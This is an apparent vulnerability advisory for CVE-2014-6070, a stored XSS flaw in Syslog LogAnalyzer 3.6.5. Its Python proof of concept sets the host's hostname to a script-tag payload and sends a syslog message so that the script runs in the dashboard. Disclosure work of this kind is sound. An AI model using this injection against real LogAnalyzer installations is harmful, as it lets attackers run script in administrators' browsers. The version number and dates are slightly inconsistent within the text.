Syslog LogAnalyzer 3.6.5 – Persistent Cross-Site Scripting
Vulnerability title: Syslog LogAnalyzer 3.6.5 Stored XSS Author: Dolev Farhi Contact: dolevf at yahoo dot com @dolevff Application: LogAnalyzer 3.6.5 Date: 8.2.2014 Relevant CVEs: CVE-2014-6070 Vulnerable version: <= 3.6.5 Fixed version: 3.6.6 1. About the application ------------------------ LogAnalyzer is a web interface to syslog and other network event data. It provides easy browsing, analysis of realtime network events and reporting services. 2. Vulnerabilities Descriptions: ----------------------------- It was found that an XSS injection is possible on a syslog server running LogAnalyzer version 3.6.5. by changing the hostname of any entity logging to syslog server with LogAnalyzer to <script>alert("xss")</script>, and sending an arbitrary syslog message, a client-side script injection execution is possible. 4. proof of concept exploit ----------------------- #!/usr/bin/python # Exploit title = LogAnalyzer 3.5.6 Stored XSS injection # Date: Sept 2014 # CVE: 2014-6070 # Tested on RHEL6.4 import os import syslog hostname = os.uname()[1] payload = "\"<script>alert('XSS');</script>\"" print("+ Setting temporary hostname to " + payload + "...") os.system("hostname " + payload) print("+ Injecting the syslog message...") syslog.syslog("syslog xss injection") print("+ Check LogAnalyzer dashboard...") raw_input("+ Press [enter] to restore hostname...") os.system("hostname " + "\"" + hostname + "\"") print("+ Hostname restored to " + hostname) |